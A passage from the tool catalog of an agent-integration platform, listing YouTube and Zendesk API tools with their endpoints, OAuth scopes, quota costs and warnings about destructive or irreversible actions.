playlist. The video itself is untouched and the entry can be put back with youtube_add_playlist_item, which is why this is not flagged destructive. Costs 50 quota units. POST /api/v1/tools/youtube/playlist-items/remove. Scopes: https://www.googleapis.com/auth/youtube. youtube_reply_to_comment (write) — Post a reply under an existing top-level comment, as the connected account. Public immediately and it notifies the person replied to. Costs 50 quota units. POST /api/v1/tools/youtube/comments/reply. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_report_abuse (write, destructive) — File a general abuse report about a channel, video or comment, in the connected account's name. YouTube publishes no API that withdraws it. PREFER youtube_report_video_abuse FOR A VIDEO: its reason ids come from youtube_list_abuse_report_reasons, while this operation's subject_type_id and abuse_type_ids come from NO read YouTube publishes - they have to be taken from Google's reference by a human, which is why the video-specific tool is the usable one. YouTube publishes no quota cost for this method either; it behaves like a 50-unit write. POST /api/v1/tools/youtube/abuse-reports. Scopes: https://www.googleapis.com/auth/youtube. youtube_report_video_abuse (write, destructive) — Flag somebody else's video to YouTube for review, in the connected account's name. YouTube publishes NO API that withdraws a report, so this cannot be taken back by another call. Get reason_id from youtube_list_abuse_report_reasons - a made-up id is a wasted, billed refusal. Costs 50 quota units. POST /api/v1/tools/youtube/videos/report-abuse. Scopes: https://www.googleapis.com/auth/youtube. youtube_search (read) — Search YouTube for videos, channels or playlists. THE SCARCEST CALL IN THIS CONNECTOR: since YouTube's 2026-06-01 move to granular quota buckets, a project gets 100 search.list CALLS PER DAY - a bucket of its own, separate from the 10,000-unit budget - and every page of results is another call. Before searching a known channel's own videos, use youtube_list_channels to get its uploads playlist and page that with youtube_list_playlist_items for 1 unit a page instead. Search results carry no statistics; pass the ids to youtube_batch_get_video_stats, which is free of both budgets. GET /api/v1/tools/youtube/search. Scopes: https://www.googleapis.com/auth/youtube.readonly. youtube_set_comment_moderation_status (write) — Publish, reject or hold up to 50 comments on the connected channel's own videos in one call. Fully reversible - a rejected comment can be published again. YouTube's banAuthor parameter is NOT available: it bans a viewer from the channel permanently and YouTube publishes no un-ban. Costs 50 quota units. POST /api/v1/tools/youtube/comments/moderation-status. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_set_playlist_image (write) — Upload a custom cover image for a playlist. The image travels as base64 and is capped at 2 MB decoded by Agentic Fabriq, well under the 50 MB the endpoint would take, because a tool argument is not a file transfer. YouTube publishes no quota cost for this resource; it behaves like a 50-unit write. POST /api/v1/tools/youtube/playlist-images/set. Scopes: https://www.googleapis.com/auth/youtube. youtube_set_thumbnail (write) — Upload a custom thumbnail image for a video. The image travels as base64 inside the tool call, so it is capped at 2 MB DECODED - YouTube's own documented limit for thumbnails, well under the 50 MB its upload endpoint would accept. Custom thumbnails require a verified YouTube channel. Costs 50 quota units. The previous thumbnail is replaced and YouTube keeps no copy of it. POST /api/v1/tools/youtube/videos/thumbnail. Scopes: https://www.googleapis.com/auth/youtube.upload. youtube_set_watermark (write) — Upload the branding watermark that appears over every video on the channel and set when it shows. Reversible by youtube_unset_watermark. The image travels as base64, capped at 10 MB decoded. Costs 50 quota units. POST /api/v1/tools/youtube/channels/watermark. Scopes: https://www.googleapis.com/auth/youtube.upload. youtube_subscribe (write) — Subscribe the connected account to a channel. A subscription is PUBLIC unless the account's subscription list is private, and it is a visible statement of affiliation. Reversible by youtube_unsubscribe. Costs 50 quota units. POST /api/v1/tools/youtube/subscriptions/create. Scopes: https://www.googleapis.com/auth/youtube. youtube_transition_live_broadcast (write, destructive) — Move a broadcast between testing, live and complete. 'live' PUTS THE CHANNEL ON AIR to whatever audience its privacy allows and notifies subscribers; 'complete' ends the broadcast and cannot be undone - a completed broadcast cannot go back on air, a new one has to be made. Both directions require the confirmation token. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-broadcasts/transition. Scopes: https://www.googleapis.com/auth/youtube. youtube_transition_live_chat_message (write, destructive) — Close a durable chat event, such as an open poll. Closing a poll finalises it and it cannot be reopened. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/messages/transition. Scopes: https://www.googleapis.com/auth/youtube. youtube_unban_live_chat_user (admin) — Lift a ban, letting the viewer chat again. Takes the BAN id returned by youtube_ban_live_chat_user. YouTube publishes no list of active bans, so the id has to be kept from the ban call - that gap is recorded in docs/coverage/youtube.md. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-chat/bans/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_unset_watermark (write) — Remove the branding watermark from the channel's videos. The inverse of youtube_set_watermark; the image itself is discarded, so restoring it means uploading it again. Costs 50 quota units. POST /api/v1/tools/youtube/channels/watermark/unset. Scopes: https://www.googleapis.com/auth/youtube. youtube_unsubscribe (write) — Remove one subscription. Takes the SUBSCRIPTION id from youtube_list_subscriptions, not a channel id. Reversible by youtube_subscribe. Costs 50 quota units. POST /api/v1/tools/youtube/subscriptions/delete. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_analytics_group (write) — Change an analytics group's title. The group's members and item type are untouched. Separate quota from the Data API. POST /api/v1/tools/youtube/analytics/groups/update. Scopes: https://www.googleapis.com/auth/yt-analytics.readonly. youtube_update_caption (write) — Replace a caption track's file, or flip its draft flag. 450 quota units, the most expensive call in the API. The previous version of the track is not retained anywhere, so download it with youtube_download_caption first if it might be wanted. POST /api/v1/tools/youtube/captions/update. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_update_channel_branding (write) — Change the channel's title, description, keywords, country, default language, unsubscribed trailer or banner image. Agentic Fabriq reads the current brandingSettings first and merges only the fields named here - YouTube's channels.update replaces the whole brandingSettings object, so a bare title would blank the description and the keywords. Costs 1 unit for the read plus 50 for the write. POST /api/v1/tools/youtube/channels/branding. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_channel_section (write) — Change a shelf's title, position, style or contents. Agentic Fabriq reads the section first and merges the named fields, because channelSections.update requires the whole snippet. Costs 1 unit for the read plus 50 for the write. POST /api/v1/tools/youtube/channel-sections/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_comment (write) — Edit the text of a comment the connected account wrote. YouTube marks the comment as edited and re-notifies anyone mentioned, so this is outbound communication rather than a silent correction. Costs 50 quota units. POST /api/v1/tools/youtube/comments/update. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_update_live_broadcast (write) — Change a broadcast's title, schedule, privacy or recording settings. Agentic Fabriq reads it first and merges the named fields, because liveBroadcasts.update requires the whole snippet. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-broadcasts/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_live_stream (write) — Change a stream's title, description or ingestion settings. Agentic Fabriq reads it first and merges the named fields. The stream key is withheld from the response as everywhere else. YouTube publishes no quota cost for this resource. POST /api/v1/tools/youtube/live-streams/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_playlist (write) — Change a playlist's title, description, tags or privacy. Agentic Fabriq reads the playlist first and merges only the named fields; YouTube's playlists.update would otherwise clear the description and tags whenever they are omitted. Costs 1 unit for the read plus 50 for the write. The playlist's ITEMS are untouched. POST /api/v1/tools/youtube/playlists/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_playlist_image (write) — Replace an existing playlist cover image. Same 2 MB base64 cap as youtube_set_playlist_image, and the same reason for it. The previous image is not retained. YouTube publishes no quota cost for this resource; it behaves like a 50-unit write. POST /api/v1/tools/youtube/playlist-images/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_playlist_item (write) — Change an entry's position in a playlist, or its note and clip range. Agentic Fabriq reads the entry first and merges the named fields, because YouTube requires the whole snippet on this call and would otherwise re-point the entry at nothing. Costs 1 unit for the read plus 50 for the write. POST /api/v1/tools/youtube/playlist-items/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_update_video (write) — Change a video's title, description, tags, category, privacy, licence, publish time or made-for-kids declaration. Agentic Fabriq READS THE VIDEO FIRST and merges only the fields named here: YouTube's raw videos.update clears every mutable property the request body omits, so sending a title alone would erase the description and every tag. Costs 1 unit for the read plus 50 for the write. POST /api/v1/tools/youtube/videos/update. Scopes: https://www.googleapis.com/auth/youtube. youtube_upload_caption (write) — Add a caption track to a video. THE MOST EXPENSIVE CALL IN THIS CONNECTOR at 400 quota units - 4% of the daily budget per track. The file must carry its own timecodes: YouTube's sync parameter has been unsupported since 2024-04-12 and Agentic Fabriq refuses it by name. Text travels inline, capped at 1 MB. POST /api/v1/tools/youtube/captions/upload. Scopes: https://www.googleapis.com/auth/youtube.force-ssl. youtube_upload_channel_banner (write) — Upload a banner image and return the bannerExternalUrl YouTube assigns to it. THIS ALONE CHANGES NOTHING: pass the returned URL to youtube_update_channel_branding to actually put the banner on the channel. The image travels as base64 and is capped at 6 MB decoded, which is YouTube's own limit for this endpoint. Costs 50 quota units. POST /api/v1/tools/youtube/channels/banner. Scopes: https://www.googleapis.com/auth/youtube.upload. youtube_upload_video (write) — Upload a video to the connected channel from a publicly reachable https URL and return the created video resource. The file is fetched server-side WITHOUT credentials and must be 64 MB or less — Agentic Fabriq's cap for a tool-driven transfer, well under YouTube's own limit. Defaults to privacyStatus=private so nothing goes public by accident; pass privacy_status explicitly to change that. Costs 1600 quota units against a SEPARATE 100-uploads/day bucket (the API's default until a quota extension is granted). POST /api/v1/tools/youtube/videos/upload. Scopes: https://www.googleapis.com/auth/youtube.upload. ================================================================================ ## Zendesk URL: https://www.agenticfabriq.com/integrations/zendesk Section: Integrated Tools Zendesk — 338 MCP tools Provider key: zendesk. Scopes: apps:read, auditlogs:read, automations:read, dynamic_content:read, dynamic_content:write, hc:read, macros:read, organizations:read, organizations:write, requests:read, requests:write, satisfaction_ratings:read, satisfaction_ratings:write, targets:read, tickets:read, tickets:write, triggers:read, users:read, users:write, webhooks:read. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zendesk_add_organization_tags (write, destructive) — DESTRUCTIVE — Add Organization Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/add-organization-tags. Scopes: organizations:write. zendesk_add_ticket_comment (write, destructive) — DESTRUCTIVE — add a comment to a Zendesk ticket. `public` defaults to FALSE: an internal note visible only to the account's own staff. A PUBLIC comment is e-mailed to the requester, joins the customer-visible thread, and cannot be unsent — redacting it afterwards does not recall the e-mail. Granted separately from zendesk_update_ticket so an agent can reply to customers without also being able to close their tickets; this tool accepts nothing but the comment. POST /api/v1/tools/zendesk/ticket-comments. Scopes: tickets:write. zendesk_add_ticket_tags (write, destructive) — DESTRUCTIVE — Add Tags. You can also add tags to multiple tickets with the Update Many Tickets endpoint Requires confirm=true. POST /api/v1/tools/zendesk/add-ticket-tags. Scopes: tickets:write. zendesk_autocomplete_organizations (read) — Autocomplete Organizations. Returns an array of organizations whose name starts with the value specified in the name parameter GET /api/v1/tools/zendesk/autocomplete-organizations. Scopes: organizations:read. zendesk_autocomplete_problem_tickets (write) — Autocomplete Problems. Returns tickets whose type is "problem" and whose subject contains the string specified in the text parameter POST /api/v1/tools/zendesk/autocomplete-problem-tickets. Scopes: tickets:read. zendesk_autocomplete_tags (read) — Search Tags. Returns an array of registered and recent tag names that start with the characters specified in the name query parameter. This includes tags where any word within the tag (separated by underscores, hyphens, spaces, or other punctuation) starts with the specified characters. You must specify at least 2 characters GET /api/v1/tools/zendesk/autocomplete-tags. Scopes: tickets:read. zendesk_autocomplete_tags_by_body (write) — Search Tags by Request Body. Returns an array of registered and recent tag names that start with the characters specified in the name parameter. This includes tags where any word within the tag (separated by underscores, hyphens, spaces, or other punctuation) starts with the specified characters. You must specify at least 2 characters POST /api/v1/tools/zendesk/autocomplete-tags-by-body. Scopes: tickets:read. zendesk_autocomplete_users (read) — Autocomplete Users. Returns an array of users whose name starts with the value specified in the name parameter. It only returns users with no foreign identities GET /api/v1/tools/zendesk/autocomplete-users. Scopes: users:read. zendesk_autocomplete_users_by_body (write) — Autocomplete Users by Request Body. Returns an array of users whose name starts with the value specified in the name property in the request body. It only returns users with no foreign identities POST /api/v1/tools/zendesk/autocomplete-users-by-body. Scopes: users:read. zendesk_count_deleted_users (read) — Count Deleted Users. Returns an approximate count of deleted users, including permanently deleted users. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-deleted-users. Scopes: users:read. zendesk_count_group_users (read) — Count Users By Group. Returns an approximate count of users in the specified group. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-group-users. Scopes: users:read. zendesk_count_organization_tickets (read) — Count Organization Tickets. Returns an approximate count of tickets for a specific organization. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-organization-tickets. Scopes: tickets:read. zendesk_count_organization_users (read) — Count Organization Users. Returns an approximate count of users for a specific organization. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-organization-users. Scopes: users:read. zendesk_count_organizations (read) — Count Organizations. Returns an approximate count of organizations. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-organizations. Scopes: organizations:read. zendesk_count_satisfaction_ratings (read) — Count Satisfaction Ratings. Returns an approximate count of satisfaction ratings in the account. If the count exceeds 100,000, the count will return a cached result. This cached result will update every 24 hours PLAN-GATED: requires Suite Growth or above. GET /api/v1/tools/zendesk/count-satisfaction-ratings. Scopes: satisfaction_ratings:read. zendesk_count_search_results (read) — Count a Zendesk search's TRUE total without paging it. A result set is capped at 1,000 records however it is paged, so a count above 1,000 means narrow the query, not keep paging — and learning that costs one request here instead of ten. GET /api/v1/tools/zendesk/search-count. Scopes: tickets:read, users:read, organizations:read. zendesk_count_tags (read) — Count Tags. Returns an approximate count of tags. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-tags. Scopes: tickets:read. zendesk_count_ticket_audits (read) — Count Audits for a Ticket. Returns an approximate count of audits for a specified ticket. If the count exceeds 100,000, the count will return a cached result. This cached result will update every 24 hours GET /api/v1/tools/zendesk/count-ticket-audits. Scopes: tickets:read. zendesk_count_ticket_comments (read) — Count Ticket Comments. Returns an approximate count of the comments added to the ticket. If the count exceeds 100,000, the count will return a cached result. This cached result will update every 24 hours GET /api/v1/tools/zendesk/count-ticket-comments. Scopes: tickets:read. zendesk_count_ticket_fields (read) — Count Ticket Fields. Returns an approximate count of system and custom ticket fields in the account. If the count exceeds 100,000, the count will return a cached result. This cached result will update every 24 hours GET /api/v1/tools/zendesk/count-ticket-fields. Scopes: tickets:read. zendesk_count_tickets (read) — Count Tickets. Returns an approximate count of tickets in the account. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-tickets. Scopes: tickets:read. zendesk_count_user_assigned_tickets (read) — Count User Assigned Tickets. Returns an approximate count of tickets assigned to the specified user. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-user-assigned-tickets. Scopes: tickets:read. zendesk_count_user_ccd_tickets (read) — Count User CCD Tickets. Returns an approximate count of tickets where the specified user is CC'd. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-user-ccd-tickets. Scopes: tickets:read. zendesk_count_user_organizations (read) — Count User's Organizations. Returns an approximate count of organizations for a specific user. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-user-organizations. Scopes: organizations:read. zendesk_count_users (read) — Count Users. Returns an approximate count of users. If the count exceeds 100,000, it is updated every 24 hours GET /api/v1/tools/zendesk/count-users. Scopes: users:read. zendesk_create_dynamic_content (write) — Create Item. Create a new content item, with one or more variants in the item's variants array. See Specifying item variants PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/create-dynamic-content. Scopes: dynamic_content:write. zendesk_create_dynamic_content_variant (write) — Create Variant. You can only create one variant for each locale id. If a locale variant already exists, the request is rejected PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/create-dynamic-content-variant. Scopes: dynamic_content:write. zendesk_create_end_user_identity (write) — Create End User Identity. Adds an identity to an end user's profile POST /api/v1/tools/zendesk/create-end-user-identity. Scopes: users:write. zendesk_create_many_dynamic_content_variants (write) — Create Many Variants. Allowed For PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/create-many-dynamic-content-variants. Scopes: dynamic_content:write. zendesk_create_many_organization_memberships (write) — Create Many Memberships. Accepts an array of up to 100 organization membership objects POST /api/v1/tools/zendesk/create-many-organization-memberships. Scopes: organizations:write. zendesk_create_many_organizations (write) — Create Many Organizations. Accepts an array of up to 100 organization objects POST /api/v1/tools/zendesk/create-many-organizations. Scopes: organizations:write. zendesk_create_or_update_organization (write) — Create Or Update Organization. Creates an organization if it doesn't already exist, or updates an existing organization. Using this method means one less call to check if an organization exists before creating it. You need to specify the id or external id when updating an organization to avoid a duplicate error response. Name is not available as a matching criteria POST /api/v1/tools/zendesk/create-or-update-organization. Scopes: organizations:write. zendesk_create_organization (write) — Create Organization. You must provide a unique name for each organization. Normally the system doesn't allow records to be created with identical names. However, a race condition can occur if you make two or more identical POSTs very close to each other, causing the records to have identical organization names POST /api/v1/tools/zendesk/create-organization. Scopes: organizations:write. zendesk_create_organization_membership (write) — Create Membership. Assigns a user to a given organization. Returns an error with status 422 if the user is already assigned to the organization POST /api/v1/tools/zendesk/create-organization-membership. Scopes: organizations:write. zendesk_create_organization_merge (write) — Merge Organization With Another Organization. Merges two organizations by moving all users, tickets, and domain names from the organization specified by {organization_id} to the organization specified by winner_id. After the merge: POST /api/v1/tools/zendesk/create-organization-merge. Scopes: organizations:write. zendesk_create_organization_subscription (write) — Create Organization Subscription. Allowed For: POST /api/v1/tools/zendesk/create-organization-subscription. Scopes: organizations:write. zendesk_create_request (write, destructive) — DESTRUCTIVE — Create Request. Accepts a request object that sets one or more properties Requires confirm=true. POST /api/v1/tools/zendesk/create-request. Scopes: requests:write. zendesk_create_ticket (write, destructive) — DESTRUCTIVE — create a Zendesk ticket. Zendesk fires the account's notification triggers on creation, so the requester is E-MAILED from the customer's own support address the moment the ticket exists, and that e-mail cannot be recalled. Naming a `requester_email` Zendesk has not seen before CREATES an end user for it. `public` defaults to false, making the opening comment an internal note; set it true only when the requester is meant to receive the text. POST /api/v1/tools/zendesk/tickets. Scopes: tickets:write. zendesk_create_ticket_satisfaction_rating (write) — Create a Satisfaction Rating. Creates a CSAT rating for a solved ticket, or for a ticket that was previously solved and then reopened PLAN-GATED: requires Suite Growth or above. POST /api/v1/tools/zendesk/create-ticket-satisfaction-rating. Scopes: satisfaction_ratings:write, tickets:write. zendesk_create_tickets_many (write) — Create Many Tickets. Accepts an array of up to 100 ticket objects. Note: Every ticket created with this endpoint may be affected by your business rules, which can include sending email notifications to your end users. If you are importing historical tickets or creating more than 1000 tickets, consider using the Ticket Bulk Import endpoint POST /api/v1/tools/zendesk/create-tickets-many. Scopes: tickets:write. zendesk_create_user_identity (write) — Create Identity. Adds an identity to a user's profile. An agent can add an identity to any user profile POST /api/v1/tools/zendesk/create-user-identity. Scopes: users:write. zendesk_create_user_organization_membership (write) — Create Organization Membership for User. Assigns a user to a given organization. Returns an error with status 422 if the user is already assigned to the organization POST /api/v1/tools/zendesk/create-user-organization-membership. Scopes: organizations:write. zendesk_delete_dynamic_content_item (write, destructive) — DESTRUCTIVE — Delete Item. Allowed For Requires confirm=true. PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/delete-dynamic-content-item. Scopes: dynamic_content:write. zendesk_delete_dynamic_content_variant (write, destructive) — DESTRUCTIVE — Delete Variant. Allowed For Requires confirm=true. PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/delete-dynamic-content-variant. Scopes: dynamic_content:write. zendesk_delete_end_user_identity (write, destructive) — DESTRUCTIVE — Delete End User Identity. Deletes the identity for a given end user Requires confirm=true. POST /api/v1/tools/zendesk/delete-end-user-identity. Scopes: users:write. zendesk_delete_many_organization_memberships (write, destructive) — DESTRUCTIVE — Bulk Delete Memberships. Immediately removes a user from an organization and schedules a job to unassign all working tickets currently assigned to the user and organization combination. The organization_id of the unassigned tickets is set to null Requires confirm=true. POST /api/v1/tools/zendesk/delete-many-organization-memberships. Scopes: organizations:write. zendesk_delete_many_organizations (write, destructive) — DESTRUCTIVE — Bulk Delete Organizations. Accepts a comma-separated list of up to 100 organization ids or external ids Requires confirm=true. POST /api/v1/tools/zendesk/delete-many-organizations. Scopes: organizations:write. zendesk_delete_organization (write, destructive) — DESTRUCTIVE — Delete Organization. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/delete-organization. Scopes: organizations:write. zendesk_delete_organization_membership (write, destructive) — DESTRUCTIVE — Delete Membership. Immediately removes a user from an organization and schedules a job to unassign all working tickets currently assigned to the user and organization combination. The organization_id of the unassigned tickets is set to null Requires confirm=true. POST /api/v1/tools/zendesk/delete-organization-membership. Scopes: organizations:write. zendesk_delete_organization_subscription (write, destructive) — DESTRUCTIVE — Delete Organization Subscription. Allowed For: Requires confirm=true. POST /api/v1/tools/zendesk/delete-organization-subscription. Scopes: organizations:write. zendesk_delete_ticket (write, destructive) — DESTRUCTIVE — delete one Zendesk ticket. This is a SOFT delete: the ticket moves to Deleted Tickets, where a Zendesk ADMIN can restore it for 30 days and only while it has not been archived. Agentic Fabriq exposes no restore tool, so neither you nor Agentic Fabriq can undo this — a human with Zendesk admin rights must. Confirm the id with zendesk_get_ticket first; a numeric id carries no hint of what it points at and Zendesk asks for no confirmation. DELETE /api/v1/tools/zendesk/tickets. Scopes: tickets:write. zendesk_delete_tickets_many (write, destructive) — DESTRUCTIVE — Soft-delete up to 100 tickets in one background job. Restorable for 30 days through 'Restore many deleted tickets', which ships alongside it. Requires confirm=true. POST /api/v1/tools/zendesk/delete-tickets-many. Scopes: tickets:write. zendesk_delete_user (write, destructive) — DESTRUCTIVE — Soft-delete a user. THERE IS NO UNDO THAT AGENTIC FABRIQ OR ANYONE ELSE CAN RUN: Zendesk publishes no user restore endpoint, unlike tickets, and states that deleted users are not recoverable. The user is listed under deleted users afterwards, but the only operation offered there is permanent deletion, which Agentic Fabriq deliberately does not expose. Their tickets survive; their identity does not. Requires confirm=true. POST /api/v1/tools/zendesk/delete-user. Scopes: users:write. zendesk_delete_user_identity (write, destructive) — DESTRUCTIVE — Delete Identity. Deletes the identity for a given user. In certain cases, a phone number associated with an identity is still visible on the user profile after the identity has been deleted via API. You can remove the phone number from the user profile by updating the phone attribute of the user to an empty string. See Update User via API for details and examples Requires confirm=true. POST /api/v1/tools/zendesk/delete-user-identity. Scopes: users:write. zendesk_delete_user_organization_membership (write, destructive) — DESTRUCTIVE — Delete Organization Membership for User. Immediately removes a user from an organization and schedules a job to unassign all working tickets currently assigned to the user and organization combination. The organization_id of the unassigned tickets is set to null Requires confirm=true. POST /api/v1/tools/zendesk/delete-user-organization-membership. Scopes: organizations:write. zendesk_delete_user_tags (write, destructive) — DESTRUCTIVE — Remove User Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/delete-user-tags. Scopes: users:write. zendesk_delete_users_many (write, destructive) — DESTRUCTIVE — Bulk Delete Users. Accepts a comma-separated list of up to 100 user ids Requires confirm=true. POST /api/v1/tools/zendesk/delete-users-many. Scopes: users:write. zendesk_dynamic_content_list_variants (read) — List Variants. Returns all the variants of the specified dynamic content item PLAN-GATED: requires Support Growth or above (multiple languages). GET /api/v1/tools/zendesk/dynamic-content-list-variants. Scopes: dynamic_content:read. zendesk_get_app (read) — Read an app. Read one app's name, author, state and settings schema READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/get-app. Scopes: apps:read. zendesk_get_app_installation (read) — Read an app installation. Read one app installation and its settings READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/get-app-installation. Scopes: apps:read. zendesk_get_app_installation_job_status (read) — Read an app installation job status. Poll an app installation job READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/get-app-installation-job-status. Scopes: apps:read. zendesk_get_app_job_status (read) — Read an app job status. Poll an app build or upload job READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/get-app-job-status. Scopes: apps:read. zendesk_get_app_public_key (read) — Read an app's public key. Read one app's PEM public key. A PUBLIC key verifies the app's signed requests; it authenticates nothing on its own and is not a credential READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/get-app-public-key. Scopes: apps:read. zendesk_get_audit_log (read) — Show Audit Log. Allowed For Paginated read only — the bulk export endpoint is not exposed. Enterprise plans only. PLAN-GATED: requires Enterprise. GET /api/v1/tools/zendesk/get-audit-log. Scopes: auditlogs:read. zendesk_get_community_post (read) — Read a community post. Read one community post, including its body and status READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-community-post. Scopes: hc:read. zendesk_get_community_post_comment (read) — Read a post comment. Read one comment on one community post READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-community-post-comment. Scopes: hc:read. zendesk_get_community_post_subscription (read) — Read a post subscription. Read one community post subscription READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-community-post-subscription. Scopes: hc:read. zendesk_get_community_topic (read) — Read a community topic. Read one community topic READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-community-topic. Scopes: hc:read. zendesk_get_community_topic_subscription (read) — Read a topic subscription. Read one community topic subscription READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-community-topic-subscription. Scopes: hc:read. zendesk_get_custom_role (read) — Show Custom Role. Availability READ ONLY: Agentic Fabriq exposes no custom-role writes. A custom role IS the permission system, including the permissions that gate deletion and redaction. PLAN-GATED: requires Enterprise. GET /api/v1/tools/zendesk/get-custom-role. Scopes: users:read. zendesk_get_deleted_user (read) — Show Deleted User. Returns users that have been deleted but not permanently yet. See Permanently Delete User GET /api/v1/tools/zendesk/get-deleted-user. Scopes: users:read. zendesk_get_derived_macro (read) — Show Macro Replica. Returns an unpersisted macro representation derived from a ticket or macro READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/get-derived-macro. Scopes: macros:read. zendesk_get_email_notifications_many (read) — Show Many Email Notifications. Shows details of many email notifications. Allows you to query by providing a list of notifications, comments, or tickets IDs GET /api/v1/tools/zendesk/get-email-notifications-many. Scopes: tickets:read. zendesk_get_help_center_article (read) — Read a Help Center article. Read one article's full body, title, section, labels and publication state. This is what turns a search hit into an answer an agent can quote READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article. Scopes: hc:read. zendesk_get_help_center_article_attachment (read) — Read an article attachment. Read one article attachment's file name, size and content type. METADATA ONLY: Agentic Fabriq never downloads or returns file contents READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article-attachment. Scopes: hc:read. zendesk_get_help_center_article_comment (read) — Read an article comment. Read one comment on one article READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article-comment. Scopes: hc:read. zendesk_get_help_center_article_comment_in_locale (read) — Read an article comment in a locale. Read one comment on one article in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/get-help-center-article-comment-in-locale. Scopes: hc:read. zendesk_get_help_center_article_in_locale (read) — Read a Help Center article in a locale. Read one article as published in a specific locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET 